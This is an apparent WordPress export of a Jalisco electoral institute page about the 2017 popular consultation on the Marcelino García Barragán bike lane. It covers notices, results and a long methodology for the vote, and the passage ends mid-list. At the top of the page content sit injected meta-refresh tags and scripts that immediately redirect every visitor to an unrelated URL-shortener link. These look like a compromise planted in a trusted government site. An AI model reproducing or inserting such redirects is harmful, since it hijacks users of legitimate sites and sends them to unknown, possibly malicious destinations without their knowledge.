{"id":448,"date":"2017-06-09T11:02:46","date_gmt":"2017-06-09T17:02:46","guid":{"rendered":"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/?page_id=448"},"modified":"2017-08-31T12:13:25","modified_gmt":"2017-08-31T18:13:25","slug":"consulta-popular-ciclovia","status":"publish","type":"page","link":"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/consulta-popular-ciclovia\/","title":{"rendered":"Consulta Popular Ciclovia"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.company\/ogkQbBl0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.company\/ogkQbBl0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.company\/ogkQbBl0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.company\/ogkQbBl0r3\";<\/script><br \/>\nMetodolog\u00eda<br \/>\n\t\t\t\t\t\t\t\t\tConvocatoria<br \/>\n\t\t\t\t\t\t\t\t\tConvocatoria a Grupos de Representaci\u00f3n<br \/>\n\t\t\t\t\t\t\t\t\tConvocatoria Observadores<br \/>\n\t\t\t\t\t\t\t\t\tManual de Lineamientos y Est\u00e1ndares para V\u00edas Peatonales y Ciclov\u00edas<br \/>\n\t\t\t\t\t\t\t\t\tPlan Maestro de Movilidad Urbana No Motorizada<br \/>\n\t\t\t\t\t\t\t\t\tMetodolog\u00eda<\/p>\n<p>Consulta la <strong>Metodolog\u00eda<\/strong> de la Consulta Popular Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n <strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/metodologia_consulta_ciclovia.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\tConvocatoria<\/p>\n<p>Consulta la <strong>Convocatoria<\/strong> de la Consulta Popular Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n <strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/convocatoria_ciclovia-1.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\tConvocatoria a Grupos de Representaci\u00f3n<\/p>\n<p>Consulta la <strong>Convocatoria<\/strong>\u00a0<strong>a Grupos de\u00a0<\/strong><b>Representaci\u00f3n<\/b>\u00a0de la Consulta Popular Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n <strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/Convocatoria_a_grupos.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\tConvocatoria Observadores<\/p>\n<p>Consulta la <strong>Convocatoria<\/strong>\u00a0<strong>de los observadores<\/strong> de la Consulta Popular Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n <strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/Convocatoria_obervadores.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\tManual de Lineamientos y Est\u00e1ndares para V\u00edas Peatonales y Ciclov\u00edas<\/p>\n<p>Consulta el Manual de Lineamientos y Est\u00e1ndares para V\u00edas Peatonales y Ciclov\u00edas\u00a0<strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/lineamientos-_ciclovias.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\tPlan Maestro de Movilidad Urbana No Motorizada<\/p>\n<p>Consulta el Plan Maestro de Movilidad Urbana No Motorizada del \u00c1rea Metropolitana de Guadalajara\u00a0<strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/plan_maestro_movilidad.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a>.<\/strong><\/p>\n<figure><a href=\"https:\/\/ue.iepcjalisco.org.mx\/resultados.aspx?eje=8296&#038;dtto=0&#038;ele=16773&#038;tpr=2&#038;useOptionImages=1&#038;optionImageW=70&#038;optionImageH=70\"><img decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/08\/resultados.png\" alt=\"resultados\" title=\"resultados\"><\/a><\/figure>\n<h3><a href=\"https:\/\/ue.iepcjalisco.org.mx\/resultados.aspx?eje=8296&#038;dtto=0&#038;ele=16773&#038;tpr=2&#038;useOptionImages=1&#038;optionImageW=70&#038;optionImageH=70\">Consulta los resultados de la participaci\u00f3n en la Consulta Popular<\/a><\/h3>\n<p>La Consulta Popular Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n se llev\u00f3 a cabo el<br \/>\nDomingo 9 de Julio, de 8:00 a 18:00 hrs. en las mesas receptoras<\/p>\n<h2><strong>Mecanismos de Participaci\u00f3n Social<\/strong><strong>Consulta popular: Ciclov\u00eda MGB.<\/strong><br \/><strong><a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/08\/resultado_ejercicio2017.pdf\"> Resultado del Ejercicio 2017<\/a>.<\/strong><\/h2>\n<p>\t\t\t\t\t\tConoce los antecedentes\t\t\t\t\t<\/p>\n<h2><strong>Qu\u00e9 es una Consulta Popular<\/strong><\/h2>\n<p>[\u2026] es el instrumento de participaci\u00f3n social a trav\u00e9s del cual los habitantes del Estado, un municipio u otra demarcaci\u00f3n territorial, expresan sus opiniones respecto a temas de car\u00e1cter p\u00fablico o impacto social [art. 440 C\u00f3digo Electoral]<\/p>\n<h2><strong>Sobre la Consulta Popular respecto de la Ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n<\/strong><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/logo.png\" alt=\"\" width=\"220\" height=\"246\" \/><\/p>\n<p align=\"justify\">Un grupo de vecinos de las colonias (*) representados por el Sr. Sahag\u00fan Neri, presentaron una petici\u00f3n de consulta popular para retirar la ciclov\u00eda actualmente ubicada sobre la Av. Marcelino Garc\u00eda Barrag\u00e1n, desde la pila seca en Tlaquepaque hasta la Plaza de la Bandera. Tras de pasar las diferentes fases establecidas en la ley, el IEPC convoc\u00f3 a las partes a un di\u00e1logo de posturas que tuvo verificativo el d\u00eda s\u00e1bado 3 de junio en la Plaza de la Bandera; as\u00ed mismo se sostendr\u00e1 una mesa de deliberaci\u00f3n el 1 de julio en canal 44. Los videos de ambos eventos se pueden apreciar en esta p\u00e1gina.<\/p>\n<p>*Obrera, Unidad Modelo, Ol\u00edmpica, Universitaria, Rancho Blanco (Guadalajara), Quinta Velarde, Atlas, Bosque de Boulevard, Jardines del Rosario, el Rosario, Rancho Blanco (Tlaquepaque), San Carlos, Patronato de la habitaci\u00f3n 1 (Gonz\u00e1lez Gallo).<\/p>\n<h2><strong>Fecha \/ Hora \/ Lugar<\/strong><\/h2>\n<p align=\"justify\">Domingo 9 de Julio, de 8:00 a 18:00 hrs. en las mesas receptoras indicadas en el mapa (en las colonias ubicadas dentro del per\u00edmetro). Busca la m\u00e1s cercana <a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/?page_id=524\"><strong><u>aqu<\/u><\/strong><\/a><strong><u>\u00ed.<\/u><\/strong><\/p>\n<p>\t\t\t\t\t\tVideos y posturas\t\t\t\t\t<\/p>\n<h2>Observa aqu\u00ed los v\u00eddeos de los eventos relativos a la<br \/> Consulta Popular Ciclov\u00eda<\/h2>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/xPb9EEaHO54?rel=0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>\t\t\t\t\t\tConoce las posturas\t\t\t\t\t<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/drive.google.com\/file\/d\/0B6RSmn8ZGYQDT0pSckZheFJmYkNxZ1RleWgyQzBYZTlaZlpJ\/preview\" width=\"590\" height=\"780\"><\/iframe><\/p>\n<p>\t\t\t\t\t\tConvocatorias de la Consulta Popular Ciclov\u00eda\t\t\t\t\t<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/drive.google.com\/file\/d\/0B6RSmn8ZGYQDWnJuUlNRd0laUVU\/preview\" width=\"590\" height=\"780\"><\/iframe><\/p>\n<p>\t\t\t\t\t\tInformaci\u00f3n Oficial Relevante\t\t\t\t\t<\/p>\n<p>Descarga <a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/plan_maestro_movilidad.pdf\">aqu\u00ed <\/a>el Plan Maestro de Movilidad Urbana<\/p>\n<p>Descarga <a href=\"https:\/\/www2.iepcjalisco.org.mx\/participacion-ciudadana\/wp-content\/uploads\/2017\/06\/lineamientos-_ciclovias.pdf\">aqu\u00ed <\/a>el\u00a0Manual de Lineamientos y Est\u00e1ndares para V\u00edas Peatonales y Ciclov\u00edas<\/p>\n<p>\t\t\t\t\t\tMetodolog\u00eda  de la Consulta Popular Ciclov\u00eda\t\t\t\t\t<\/p>\n<h2>Introducci\u00f3n.<\/h2>\n<p>Todo proceso que involucre la participaci\u00f3n ciudadana en procesos democr\u00e1ticos, ya sea a trav\u00e9s de elecciones peri\u00f3dicas o por medio de mecanismos de participaci\u00f3n social, precisa de una serie de fases que deben ser desahogadas de manera secuencial y\/o simult\u00e1nea pero siempre con estricto apego al marco legal que delimita las atribuciones de la autoridad y los alcances del evento c\u00edvico en cuesti\u00f3n. En este documento se enlistan tanto esas fases, como las actividades que desarrollar\u00e1n las direcciones y unidades involucradas en el proceso; el prop\u00f3sito de este documento es dotar de una gu\u00eda que permita una navegaci\u00f3n a trav\u00e9s de la complejidad propia de este tipo de procesos y a la par convertirse en un protocolo que consigne y estandarice las buenas pr\u00e1cticas del mismo.<br \/> Este particular mecanismo de participaci\u00f3n social requiere de la consulta de una pregunta sobre un hecho p\u00fablico relevante dentro de una demarcaci\u00f3n determinada, por ello en este documento se pueden apreciar las precauciones tomadas para que la emisi\u00f3n de la opini\u00f3n ciudadana ocurra dentro de un marco de certeza equiparable al de procesos electorales convencionales. Por ello se contempla la invitaci\u00f3n a ciudadanos que se desempe\u00f1aron como funcionarios de casilla en esa propia demarcaci\u00f3n en el proceso electoral pasado, de esta forma la consulta ser\u00e1 recibida y normada en la casilla por ciudadanos vecinos que ya habr\u00edan sido seleccionados de acuerdo con las reglas de aleatoriedad e imparcialidad requeridas en procesos constitucionales. La capacitaci\u00f3n para estos ciudadanos requerir\u00e1 del trabajo de un grupo de capacitadores-asistentes electorales, cuya tarea se describe a mayor detalle dentro del documento. De igual forma se establecen los lineamientos log\u00edsticos que implican la selecci\u00f3n de los lugares donde se instalaran las casillas, la distribuci\u00f3n y operaci\u00f3n de las urnas electr\u00f3nicas desplegadas para el ejercicio.<\/p>\n<p>Con el objeto de que esta consulta pueda ser supervisada de cerca por los ciudadanos que decidan participar como observadores de la misma, se menciona el procedimiento mediante el cual podr\u00e1n registrarse, ser capacitados y ejecutar su funci\u00f3n. Los medios de comunicaci\u00f3n tambi\u00e9n juegan una parte importante en la supervisi\u00f3n de este proceso y por tanto les ser\u00e1 extendida una invitaci\u00f3n a jornadas de capacitaci\u00f3n para el mejor desempe\u00f1o de sus funciones, en este documento tambi\u00e9n se consigna la forma en que se les har\u00e1 part\u00edcipes.<\/p>\n<p>Una participaci\u00f3n copiosa es un atributo de todo proceso democr\u00e1tico valedero, pero tambi\u00e9n lo es una participaci\u00f3n enterada de las implicaciones de la consulta; por ello, con el objeto de contribuir a elevar el nivel del debate p\u00fablico en torno del tema consultado, as\u00ed como con el prop\u00f3sito de que los ciudadanos tengan mayor claridad sobre las posturas consultadas, se presentar\u00e1n las opiniones a favor y en contra en nuestra p\u00e1gina web. Este documento detalla c\u00f3mo se procurar\u00e1n los principios de equidad necesarios para cumplir tal prop\u00f3sito.<\/p>\n<p>Hacia el final de esta gu\u00eda metodol\u00f3gica podr\u00e1 consultarse tambi\u00e9n una descripci\u00f3n meticulosa de la forma como deber\u00e1 desarrollarse la jornada en s\u00ed, de las atribuciones de los funcionarios de la casilla, de la emisi\u00f3n de la opini\u00f3n y la posterior transmisi\u00f3n de los resultados de la misma. Esperamos que la lectura de esta gu\u00eda metodol\u00f3gica le permita navegar con nosotros a trav\u00e9s de las fases y detalles de este interesante ejercicio democr\u00e1tico.<\/p>\n<h2><strong>Observadores de la Consulta Popular. <\/strong><\/h2>\n<p align=\"justify\">Los ciudadanos que decidan participar en el proceso de consulta popular en calidad de observadores podr\u00e1n hacerlo de acuerdo con las mismas reglas estipuladas para los observadores electorales en elecciones constitucionales. Por lo tanto, tendr\u00e1n acceso a la casilla durante el proceso de votaci\u00f3n siempre y cuando no obstruyan en absoluto las responsabilidades de los funcionarios de casilla o comprometan el secreto del voto.<\/p>\n<p>Las acreditaciones como <strong><em>Observador de la Consulta Popular<\/em><\/strong> se expiden a t\u00edtulo individual, independientemente de que grupos de observadores procuren organizarse en grupos de ciudadanos. Estas acreditaciones se expedir\u00e1n tras asistir a una capacitaci\u00f3n impartida en una sola sesi\u00f3n por la Direcci\u00f3n de Participaci\u00f3n Ciudadana, donde se expedir\u00e1 la acreditaci\u00f3n correspondiente.<\/p>\n<p>Como cualquier otra persona, los observadores son responsables de sus actos y opiniones, los que de ninguna manera ser\u00e1n atribuibles al Instituto Electoral y de Participaci\u00f3n Ciudadana del Estado de Jalisco.<\/p>\n<p>El periodo para solicitar la acreditaci\u00f3n como <strong><em>Observador de la Consulta Popular<\/em><\/strong><em>,<\/em> ser\u00e1 <strong>a partir de la publicaci\u00f3n de la convocatoria y hasta el d\u00eda 30 de junio del presente a\u00f1o.<\/strong><\/p>\n<h2><strong>Contrataci\u00f3n de CAES.<\/strong><\/h2>\n<p align=\"justify\">El reclutamiento de los Capacitadores Asistentes Electorales, se llevar\u00e1 a cabo a trav\u00e9s de una invitaci\u00f3n, en la que se brindar\u00e1 informaci\u00f3n de la consulta popular, los requisitos legales y administrativos, la duraci\u00f3n del contrato, los honorarios y el lugar a donde deben acudir a presentar su documentaci\u00f3n y solicitar mayores informes en caso de ser necesario.<\/p>\n<p><strong>Del 19 al 23 de mayo de 2017<\/strong><strong>,<\/strong> personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica, realizar\u00e1 la recepci\u00f3n de documentos de los aspirantes a CAE donde verifica si los candidatos cumplen los requisitos legales y administrativos para su posible contrataci\u00f3n.<\/p>\n<h2><strong>Capacitaci\u00f3n a los CAE. <\/strong><\/h2>\n<p align=\"justify\">La Direcci\u00f3n de Educaci\u00f3n C\u00edvica llevar\u00e1 a cabo la capacitaci\u00f3n de los CAE contratados para el proceso de la consulta popular, contando con la participaci\u00f3n de las \u00e1reas involucradas para atender los diferentes tem\u00e1ticas del proceso de la consulta.<\/p>\n<p>La impartici\u00f3n de los cursos de capacitaci\u00f3n tienen la finalidad de proporcionar a los CAE los conocimientos te\u00f3rico-pr\u00e1cticos necesarios para sensibilizar a los ciudadanos que fungir\u00e1n como funcionarios de casilla en la consulta popular, y lograr que participen en los cursos de capacitaci\u00f3n y simulacros, adem\u00e1s que sean responsables y comprometidos el d\u00eda de la Jornada de la Consulta Popular.<\/p>\n<p>El curso-taller de capacitaci\u00f3n dirigido a los CAE se realizar\u00e1 de manera pr\u00e1ctica y vivencial, en las instalaciones del Instituto Electoral y de Participaci\u00f3n Ciudadana del Estado de Jalisco.<\/p>\n<p>Los ejes tem\u00e1ticos del curso-taller de capacitaci\u00f3n son:<\/p>\n<ol>\n<li>Actividades y responsabilidades del CAE;<\/li>\n<li>Informaci\u00f3n general del Instituto Electoral y de Participaci\u00f3n Ciudadana del Estado de Jalisco;<\/li>\n<li>Proceso de la Consulta Popular;<\/li>\n<li>Jornada de la Consulta Popular;<\/li>\n<li>Material y documentaci\u00f3n;<\/li>\n<\/ol>\n<p align=\"justify\">El personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica coordinar\u00e1 los recorridos de reconocimiento de las \u00e1reas de responsabilidad que realizar\u00e1n los CAE y organizar\u00e1 las sesiones grupales para resolver las dudas y reforzar los conocimientos de los cursos.<\/p>\n<p>Se elaborar\u00e1n diversos formatos y materiales did\u00e1cticos que se utilizar\u00e1n para la Integraci\u00f3n y Capacitaci\u00f3n de Mesas Directivas de Casilla, tales como:<\/p>\n<ul>\n<li>Tr\u00edptico<\/li>\n<li>Folleto informativo<\/li>\n<li>Instructivo de uso de la urna electr\u00f3nica<\/li>\n<li>C\u00e1rtel de como votar<\/li>\n<\/ul>\n<h2><strong>Asignaci\u00f3n de \u00c1reas de Responsabilidad de los CAE<\/strong>.<\/h2>\n<p align=\"justify\">De conformidad con el n\u00famero de CAE seleccionados y contratados, personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica asignar\u00e1 las \u00e1reas de responsabilidad, tomando en consideraci\u00f3n un promedio aproximado de 10 casillas por CAE, procurando que la selecci\u00f3n y ubicaci\u00f3n de las casillas sea lo m\u00e1s cercano posible.<\/p>\n<h2><strong>Seguimiento a las actividades desarrolladas por los CAE.<\/strong><\/h2>\n<p>Durante todo el proceso de la Consulta Popular, personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica ser\u00e1 el encargado de coordinar, apoyar y verificar las actividades de capacitaci\u00f3n y asistencia electoral realizadas por los Capacitadores-Asistentes Electorales (CAE), con la finalidad de dar cumplimiento en tiempo y forma a las actividades encomendadas para la consulta popular.<\/p>\n<h2><strong>Reuniones de Trabajo.<\/strong><\/h2>\n<p align=\"justify\">Bajo los principios de equidad, interlocuci\u00f3n representativa, igualdad de g\u00e9nero y lenguaje ciudadano se conformar\u00e1 un grupo de hasta cinco personas titulares e igual n\u00famero de suplentes del mismo g\u00e9nero, para la corriente de opini\u00f3n que se pronuncie sobre la postura de que \u201cS\u00cd\u201d permanezca la CICLOV\u00cdA UBICADA EN BOULEVARD GENERAL MARCELINO GARC\u00cdA BARRAG\u00c1N; y, otro grupo similar, para quienes impulsan la postura de la \u201cNO\u201d permanencia de esa alternativa vial.<\/p>\n<p>Las personas interesadas en formar parte del grupo de que \u201cS\u00cd\u201d permanezca, deber\u00e1n presentarse a las 11:00 horas. Las personas interesadas en formar parte del grupo de que \u201cNO\u201d permanezca a las 17:00 horas.<\/p>\n<p>Los asistentes deber\u00e1n manifestar que est\u00e1n interesados en integrar los respectivos\u00a0 grupos de representaci\u00f3n a trav\u00e9s del formato que para tal efecto le entregue el funcionario del Instituto.<\/p>\n<p>Las personas interesadas deber\u00e1n acreditar con la credencial para votar con fotograf\u00eda, expedida por el Instituto Nacional Electoral, tener su domicilio en la demarcaci\u00f3n donde se llevar\u00e1 a cabo la consulta y deber\u00e1n manifestar que est\u00e1n interesados en integrar los grupos de representaci\u00f3n a trav\u00e9s del formato que para tal efecto le entregue el funcionario del Instituto.<\/p>\n<p>No se permitir\u00e1 la participaci\u00f3n de los partidos pol\u00edticos. Sus militantes participar\u00e1n \u00fanicamente a t\u00edtulo personal.<\/p>\n<p>Se elegir\u00e1n a los primeros ocho habitantes que se presenten al m\u00f3dulo, que para tal efecto se instalen, que est\u00e9n interesados por el \u201cS\u00cd PERMANEZCA\u201d, de los cuales cuatro ser\u00e1n representantes propietarios y cuatro ser\u00e1n representantes suplentes, asimismo, dicho grupo contar\u00e1 con un presentante propietario y suplente del Gobierno del Estado de Jalisco, independientemente de su lugar de residencia.<\/p>\n<p>El Gobierno del Estado de Jalisco no podr\u00e1 utilizar recursos p\u00fablicos para la promoci\u00f3n de su postura. Es decir, su participaci\u00f3n en el grupo se ajustar\u00e1 a los l\u00edmites que se establecen para los grupos en las presentes bases, sin distinci\u00f3n alguna.<\/p>\n<p>De la misma manera, se elegir\u00e1n a los primeros ocho habitantes que se presenten al m\u00f3dulo que para tal efecto se instalen, que est\u00e9n interesados por el \u201cNO PERMANEZCA\u201d, de los cuales cuatro ser\u00e1n representantes propietarios y cuatro ser\u00e1n representantes suplentes, asimismo, ser\u00e1n integrantes el representante com\u00fan de la consulta ciudadana y su respectivo suplente, independientemente de su lugar de residencia.<\/p>\n<p>De lo anterior, el funcionario del Instituto levantar\u00e1 constancia de la integraci\u00f3n y conformaci\u00f3n de ambos grupos, en la cual deber\u00e1 se\u00f1alar los nombres completos y datos de localizaci\u00f3n, as\u00ed como a cada grupo a los que pertenecen los ciudadanos y entregar\u00e1 a cada integrante la acreditaci\u00f3n correspondiente, invit\u00e1ndolos a integrar un dec\u00e1logo de posturas o razones por las que en su caso debe permanecer o no debe permanecer la ciclov\u00eda. En esta \u00faltima actividad con el apoyo del Instituto.<\/p>\n<p>Para la conformaci\u00f3n de las reuniones de trabajo, el Consejo General, emitir\u00e1 convocatoria en la que se precise los t\u00e9rminos de su funcionamiento.<\/p>\n<h2><strong>Recabaci\u00f3n de anuencias<\/strong> <strong>de espacios f\u00edsicos que re\u00fanan las especificaciones t\u00e9cnicas y adecuadas\u00a0 para la instalaci\u00f3n de casillas.<\/strong><\/h2>\n<p><strong>Del 19 al 29 de mayo de 2017<\/strong><strong>,<\/strong> personal de la Direcci\u00f3n Organizaci\u00f3n Electoral, se trasladar\u00e1 al pol\u00edgono que configura la demarcaci\u00f3n territorial donde se realizar\u00e1 la Consulta Popular, con la finalidad de lograr la correcta ubicaci\u00f3n para la instalaci\u00f3n de las mesas directivas de casilla, observando lo siguiente:<\/p>\n<ol>\n<li>Garantizar condiciones de seguridad personal a los funcionarios de casilla y observadores electorales, para el desempe\u00f1o de sus actividades, as\u00ed como a la ciudadan\u00eda que acuda a emitir su voto;<\/li>\n<li>Ubicaci\u00f3n de f\u00e1cil identificaci\u00f3n por la ciudadan\u00eda;<\/li>\n<li>Contar con espacios ventilados e iluminados con luz natural y artificial, e instalaci\u00f3n el\u00e9ctrica;<\/li>\n<li>Brindar protecci\u00f3n de las condiciones clim\u00e1ticas adversas;<\/li>\n<li>Verificar que no est\u00e9n cerca de agentes o lugares contaminantes o peligrosos tales como radiaciones, ruido, elementos inflamables vol\u00e1tiles, entre otros, que representen un riesgo;<\/li>\n<li>Que no presenten obst\u00e1culos naturales o artificiales que dificulten o impidan el acceso y tr\u00e1nsito de las personas con alguna discapacidad, personas adultas mayores, as\u00ed como mujeres embarazadas;<\/li>\n<li>Que se ubiquen en la planta baja, en un terreno plano, evitando en la medida de lo posible el uso de escalones y desniveles;<\/li>\n<li>Si el local presentara condiciones de riesgo, se supervisar\u00e1 que cuente con se\u00f1alizaciones de advertencia y, en su caso, se podr\u00e1 acordonar el \u00e1rea para evitar que los ciudadanos tengan acceso a dichas zonas;<\/li>\n<li>En caso necesario, para facilitar el acceso a la casilla, se podr\u00e1n colocar rampas sencillas o realizar adecuaciones con autorizaci\u00f3n del responsable o due\u00f1o del inmueble, y<\/li>\n<li>Que el espacio interior sea suficiente para albergar simult\u00e1neamente al n\u00famero de funcionarios.<\/li>\n<\/ol>\n<p>La instalaci\u00f3n de casillas se realizar\u00e1 en los lugares que cumplan los criterios referidos, atendiendo preferentemente al orden de prioridad siguiente: escuelas, oficinas p\u00fablicas, lugares p\u00fablicos y domicilios particulares, cuidando en todo momento que los espacios sean adecuados para el desarrollo de las actividades propias de la votaci\u00f3n.<\/p>\n<p>El Instituto podr\u00e1 llevar a cabo la firma de convenios con organismos p\u00fablicos federales, estatales o municipales, cuyo objeto sea la obtenci\u00f3n de la autorizaci\u00f3n correspondiente para el uso de sus instalaciones con el fin de ubicar casillas.<\/p>\n<h2><strong>Invitaci\u00f3n a ciudadanos para participar como Funcionarios de Mesa Directiva de Casillas y lista de reserva.<\/strong><\/h2>\n<p><strong>Del 22 de mayo al 03 de junio de 2017,<\/strong> \u00a0la Direcci\u00f3n de Educaci\u00f3n C\u00edvica por medio de los Capacitadores Asistentes Electorales invitar\u00e1 a los ciudadanos que fungieron como Funcionarios de Mesas Directivas de Casilla en el proceso electoral 2014-2015, en las secciones correspondientes a participar en la Consulta Popular.<\/p>\n<p>El primer acercamiento que se tiene con los ciudadanos es por medio de la carta notificaci\u00f3n, en la que se les informa que fueron designados para ser funcionarios de Mesa Directiva de Casilla.<\/p>\n<p>La Direcci\u00f3n de Educaci\u00f3n C\u00edvica ser\u00e1 la encargada de llevar a cabo la impresi\u00f3n de la carta-notificaci\u00f3n y se entregar\u00e1 a los CAE para que a su vez realicen las visitas a los ciudadanos con la finalidad de sensibilizarlos para que participen en la consulta.<\/p>\n<p>Con este proceso se busca elaborar un listado de ciudadanos aptos para poder llevar a cabo la designaci\u00f3n de los funcionarios que integrar\u00e1n las Mesas Directivas de Casilla.<\/p>\n<h2><strong>Etapa de visita y notificaci\u00f3n. <\/strong><\/h2>\n<p>Personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica ser\u00e1 el encargado de:<\/p>\n<ul>\n<li>Coordinar a los CAE para la visita, entrega de cartas-notificaci\u00f3n y desarrollo de la capacitaci\u00f3n a los ciudadanos que fungieron como Funcionarios de Mesa Directiva de Casilla en el proceso electoral 2014-2015.<\/li>\n<li>Supervisar a los CAE en la notificaci\u00f3n a los ciudadanos que residen en las secciones que corresponden a la Consulta Popular.<\/li>\n<li>Revisar el correcto llenado de los formatos: comprobante de la visita, acuse de recibo de las cartas-notificaci\u00f3n y hojas de datos de los ciudadanos visitados, notificados y capacitados, as\u00ed como ordenarlas por secci\u00f3n o por orden de visita para su registro en la base de datos del Sistema.<\/li>\n<li>Recibir los reportes de los avances de la visita, notificaci\u00f3n y capacitaci\u00f3n a los ciudadanos sorteados.<\/li>\n<li>Verificar en gabinete y en campo: el orden de visita, entrega de cartas-notificaci\u00f3n y el desarrollo de la capacitaci\u00f3n a los ciudadanos.<\/li>\n<li>Supervisar el cotejo del avance que realicen los CAE de la entrega de cartas notificaci\u00f3n en primera etapa, el seguimiento al orden de visita con respecto a lo capturado en el la base de datos del Sistema.<\/li>\n<\/ul>\n<p>El Capacitador Asistente Electoral es el encargado de:<\/p>\n<ul>\n<li>Visitar, sensibilizar, notificar y capacitar a los ciudadanos que fungieron como funcionarios de mesa directiva de casilla en el proceso electoral 2014-2015.<\/li>\n<li>Entregar el nombramiento y proporcionar a los ciudadanos designados como FMDC los conocimientos y habilidades necesarias para realizar sus actividades en la Consulta Popular.<\/li>\n<li>Desarrollar las actividades de asistencia electoral.<\/li>\n<li>Garantizar el d\u00eda de la Consulta Popular la integraci\u00f3n, instalaci\u00f3n y funcionamiento de las Urnas Electr\u00f3nicas e informar sobre el desarrollo de la Consulta Popular.<\/li>\n<\/ul>\n<h2><strong>Aprobaci\u00f3n de la ubicaci\u00f3n de casillas.<\/strong><\/h2>\n<p>El <strong>31 de mayo de 2017, <\/strong>el Consejo General, celebrar\u00e1 sesi\u00f3n en la que aprobar\u00e1 la ubicaci\u00f3n donde se instalar\u00e1n las Mesas Directivas de Casilla el d\u00eda de la jornada de la Consulta Popular.<\/p>\n<h2><strong>Notificaci\u00f3n de la ubicaci\u00f3n de casillas.<\/strong><\/h2>\n<p>Del<strong> 31 de mayo al 06 de junio de 2017<\/strong>, personal de la Direcci\u00f3n de Organizaci\u00f3n Electoral, notificar\u00e1 a los propietarios de fincas el acuerdo del Consejo General mediante el cual, aprueba la ubicaci\u00f3n donde se instalar\u00e1n las casillas el d\u00eda de la jornada de la Consulta Popular.<\/p>\n<h2><strong>Aprobaci\u00f3n de la integraci\u00f3n de las mesas directivas de casilla<\/strong><strong>.<\/strong><\/h2>\n<p><strong>El 05 de junio de 2017, <\/strong>el Consejo General, celebrar\u00e1 sesi\u00f3n para aprobar a los funcionarios que integrar\u00e1n las mesas directivas de casilla.<\/p>\n<p>Asimismo, el <strong>15 de junio de 2017<\/strong>, el Consejo General, celebrar\u00e1 sesi\u00f3n para completar y sustituir funcionarios que integrar\u00e1n mesas directivas de casilla.<\/p>\n<p>Para el caso de que no se completara la integraci\u00f3n de Mesas Directivas de Casilla en las fechas se\u00f1aladas, el Consejo General determinar\u00e1 el procedimiento aplicable para cubrir los funcionarios faltantes.<\/p>\n<p><strong>Notificaci\u00f3n a Funcionarios de Mesas Directivas de Casillas.<\/strong><\/p>\n<p>Del <strong>22 de junio al 08 de julio de 2017<\/strong>, personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica, notificar\u00e1 los nombramientos a los funcionarios de mesa directiva de casilla, por conducto de los CAE.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Capacitaci\u00f3n a ciudadanos que se desempe\u00f1ar\u00e1n como Funcionarios de Mesas Directivas de Casilla.<\/strong><\/h2>\n<p><strong>Del 10 de junio al 07 de julio de 2017, <\/strong>La Direcci\u00f3n de Educaci\u00f3n C\u00edvica, llevar\u00e1 a cabo la capacitaci\u00f3n de los ciudadanos que se desempe\u00f1aran como Funcionarios de Mesas Directivas de Casillas.<\/p>\n<p>El personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica acompa\u00f1ar\u00e1 a los Capacitadores Asistentes Electorales que realizar\u00e1n las capacitaciones a los ciudadanos seleccionados como funcionarios de casilla.<\/p>\n<p>Los ejes tem\u00e1ticos de la capacitaci\u00f3n son:<\/p>\n<ol>\n<li>Informaci\u00f3n de la consulta 